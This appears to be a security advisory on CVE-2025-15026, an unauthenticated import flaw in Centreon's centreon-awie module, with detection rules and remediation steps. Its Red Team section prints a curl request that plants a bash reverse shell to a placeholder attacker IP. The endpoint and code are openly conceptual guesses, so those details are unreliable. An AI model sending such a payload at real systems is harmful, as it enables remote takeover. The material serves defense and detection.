CVE-2025-15026

Executive Summary

CVE-2025-15026 is a critical vulnerability in Centreon Infra Monitoring, specifically within the centreon-awie (Awie import module). The flaw allows an unauthenticated attacker to access critical functions due to missing authentication checks. This can lead to full compromise of the monitoring infrastructure, including data exfiltration, configuration tampering, and potential lateral movement. The CVSS score of 9.8 reflects the ease of exploitation and severe impact. No public proof-of-concept or exploit code is currently available, but the risk remains high due to the nature of the vulnerability.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the Centreon application code.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical. An unauthenticated attacker can remotely exploit this vulnerability without any user interaction, leading to a complete compromise of the affected system.

Deep Dive & Mechanics

The vulnerability resides in the centreon-awie module, which handles the import of configuration data (e.g., hosts, services, templates) into Centreon. The module exposes API endpoints or functions that are intended for authenticated administrators. However, due to missing authentication checks, these endpoints are accessible to any unauthenticated user.

Root Cause: The application fails to validate the user's session or authentication token before executing critical functions within the import module. This allows an attacker to send crafted requests to import malicious configurations, export sensitive data, or modify existing monitoring settings.

Attack Scenario:

1. An attacker identifies a Centreon instance with the vulnerable centreon-awie module.
2. The attacker sends a direct HTTP request to the import endpoint (e.g., /centreon-awie/import) without any authentication headers.
3. The server processes the request, allowing the attacker to upload a malicious configuration file.
4. This configuration could include backdoor hosts, modified credentials, or commands that execute on monitored systems.

Vulnerable vs. Patched Code

The vulnerable code likely lacks an authentication check at the beginning of the import function. The patched version adds a verification step to ensure the user is authenticated and authorized.

Vulnerable Code (Conceptual):

// centreon-awie/src/ImportController.php
public function importAction(Request $request) {
    // Missing authentication check
    $data = $request->getContent();
    $importer = new Importer();
    $importer->import($data);
    return new Response('Import successful');
}

Patched Code (Conceptual):

// centreon-awie/src/ImportController.php
public function importAction(Request $request) {
    // Added authentication check
    if (!$this->isGranted('IS_AUTHENTICATED_FULLY')) {
        throw new AccessDeniedException();
    }
    $data = $request->getContent();
    $importer = new Importer();
    $importer->import($data);
    return new Response('Import successful');
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Centreon instance (e.g., version 24.10.0).
• Network access to the Centreon web interface.

Exploitation Steps:

1. Identify the endpoint: The vulnerable endpoint is typically /centreon-awie/import or similar.
2. Craft a malicious payload: Create a JSON or XML file that contains a malicious configuration (e.g., adding a new host with a command that executes a reverse shell).
3. Send the request:

   curl -X POST http://target/centreon-awie/import \
     -H "Content-Type: application/json" \
     -d '{
       "hosts": [
         {
           "name": "attacker-host",
           "address": "192.168.1.100",
           "check_command": "check_http",
           "macros": {
             "COMMAND": "bash -c 'exec bash -i &>/dev/tcp/attacker_ip/4444 <&1'"
           }
         }
       ]
     }'
   

4. Trigger the command: The imported host will be monitored, and Centreon will execute the check command, which in this case is a reverse shell.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /centreon-awie/import or similar endpoints.
• Look for requests without authentication tokens or session cookies.
• Analyze imported configurations for suspicious commands or IP addresses.

Hunting:

• Search logs for centreon-awie import actions.
• Check for new hosts or services that were added outside of normal maintenance windows.

Mitigation:

• Immediately upgrade to the patched version.
• If patching is not possible, restrict network access to the Centreon web interface using a firewall or VPN.
• Implement a Web Application Firewall (WAF) rule to block requests to /centreon-awie/import without proper authentication.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /centreon-awie/import without authentication.
  • Outbound connections from the Centreon server to unknown IP addresses on unusual ports (e.g., 4444).
• File System:
  • Unexpected configuration files in /etc/centreon/ or /var/lib/centreon/.
  • New cron jobs or scripts added by the attacker.
• Logs:
  • centreon-awie log entries showing import actions from unknown IPs.
  • Authentication logs showing failed login attempts followed by successful import actions.

Detection Engineering

YARA Rule

rule CVE_2025_15026_Centreon_Awie_Import {
    meta:
        description = "Detects exploitation attempts of CVE-2025-15026 in Centreon AWIE import module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15026"
    strings:
        $s1 = "/centreon-awie/import" ascii wide nocase
        $s2 = "importAction" ascii wide nocase
        $s3 = "Importer" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-15026 - Centreon AWIE Import Without Authentication
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to the Centreon AWIE import endpoint.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15026
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/centreon-awie/import'
    condition: selection
falsepositives:
    - Legitimate administrative actions (should be authenticated)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15026 - Centreon AWIE Import Without Authentication"; flow:to_server; content:"POST"; http_method; content:"/centreon-awie/import"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon: Update to version 24.04.3, 24.10.3, or 25.10.2 as applicable.
2. Restrict Network Access: Use a firewall to limit access to the Centreon web interface to trusted IPs only.
3. Enable Authentication: Ensure all Centreon modules require authentication.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block unauthenticated requests to sensitive endpoints.
• Conduct regular security audits of Centreon configurations.
• Monitor for new CVEs related to Centreon and apply patches promptly.

Workaround (if patching is delayed):

• Disable the centreon-awie module if not in use:

  systemctl stop centreon-awie
  systemctl disable centreon-awie
  

• Remove the module from the web server configuration.

Valters IT
Securing Digital Infrastructure